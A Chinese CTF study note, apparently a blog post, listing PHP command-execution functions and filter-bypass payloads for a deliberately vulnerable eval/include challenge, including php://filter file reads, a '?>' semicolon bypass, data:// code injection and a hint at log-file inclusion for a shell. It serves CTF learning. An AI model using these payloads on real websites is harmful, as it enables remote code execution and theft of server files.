CTF命令执行部分总结

😋大家好,我是YAy_17,是一枚爱好网安的小白,正在自学ing。

本人水平有限,欢迎各位大佬指点,一起学习💗,一起进步⭐️

⭐️此后如竟没有炬火,我便是唯一的光。⭐️

关于CTF中的命令执行部分的题目以及常见的绕过方式,做以下的总结,仅仅是自己在做题的过程中学习到的知识,可能不太全面,或者是有许多的错误,还恳请各位师傅及时指出,谢谢!

常见的命令执行函数

exec()、system()、passthru()、pcntl_exec()、shell_exec() 、反引号` 、shell_exec()函数

exec()函数

该函数只返回最后一行的结果:

测试代码:

<?php
    echo exec('ping 127.0.0.1');
?>

system()函数

system函数:逐行返回数据;

<?php
    echo system('ping 127.0.0.1');
?>

passthru()函数

<?php
    echo passthru('ping 127.0.0.1');
?>

shell_exec()

<?php
    echo shell_exec('ping 127.0.0.1');
?>

反引号` 

反引号的效果和shell_exec是一样的;

<?php
    echo `ping 127.0.0.1`;
?>

<?php
    $payload = `whoami`;
    echo "{$payload}";
?>

nl命令 

nl命令在linux系统中用来计算文件中行号。nl 可以将输出的文件内容自动的加上行号,nl 可以将行号做比较多的显示设计,包括位数与是否自动补齐 0 等等的功能。

echo `nl flag.php`;

命令执行+文件包含

<?php

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}
?>

命令执行还可以配合文件包含,对于上述的题目,我们可以使用include、require等文件包含函数进行绕过;

c=include($_GET[x]);&x=php://filter/read=convert.base64-encode/resource=flag.php

那么如果上述的正则表达式中添加(和;在这种情况下对于分号的绕过还可以使用?>来闭合

c=include$_GET[x]?>&x=php://filter/read=convert.base64-encode/resource=flag.php
if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
}

针对强制添加后缀名的绕过,可以使用data伪协议(参数污染)

data://text/plain;base64,<?php phpinfo()?>(语句要经过base64编码)

还可以通过包含日志文件,观察日志文件中的数据,通过抓包修改对应的信息,从而达到拿shell的目的;

if(!preg_match("/flag/i", $c)){
        include($c.".php");
}

上面的这种情况便是强制性的加上了php的后缀名,便可以使用data://text/plain。这样就相当于执行了php语句 .php 因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么作用;

相关推荐

  1. Web安全-CTF中的常见命令总结

    2023-12-20 07:36:03       43 阅读
  2. 总结:Flink任务执行

    2023-12-20 07:36:03       23 阅读

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2023-12-20 07:36:03       98 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2023-12-20 07:36:03       106 阅读
  3. 在Django里面运行非项目文件

    2023-12-20 07:36:03       87 阅读
  4. Python语言-面向对象

    2023-12-20 07:36:03       96 阅读

热门阅读

  1. TensorFlow 的基本概念和使用场景

    2023-12-20 07:36:03       60 阅读
  2. bash数组的用法

    2023-12-20 07:36:03       61 阅读
  3. Python装饰器

    2023-12-20 07:36:03       64 阅读
  4. 正则表达式

    2023-12-20 07:36:03       73 阅读
  5. 4-Docker命令之docker volume

    2023-12-20 07:36:03       70 阅读
  6. 实战:使用Spring Boot监控SQL执行

    2023-12-20 07:36:03       69 阅读
  7. 黑豹程序员-安装docker-ce

    2023-12-20 07:36:03       57 阅读
  8. Jupyter的简单实用

    2023-12-20 07:36:03       63 阅读
  9. 论文笔记 | ICLR 2023 WikiWhy:回答和解释因果问题

    2023-12-20 07:36:03       74 阅读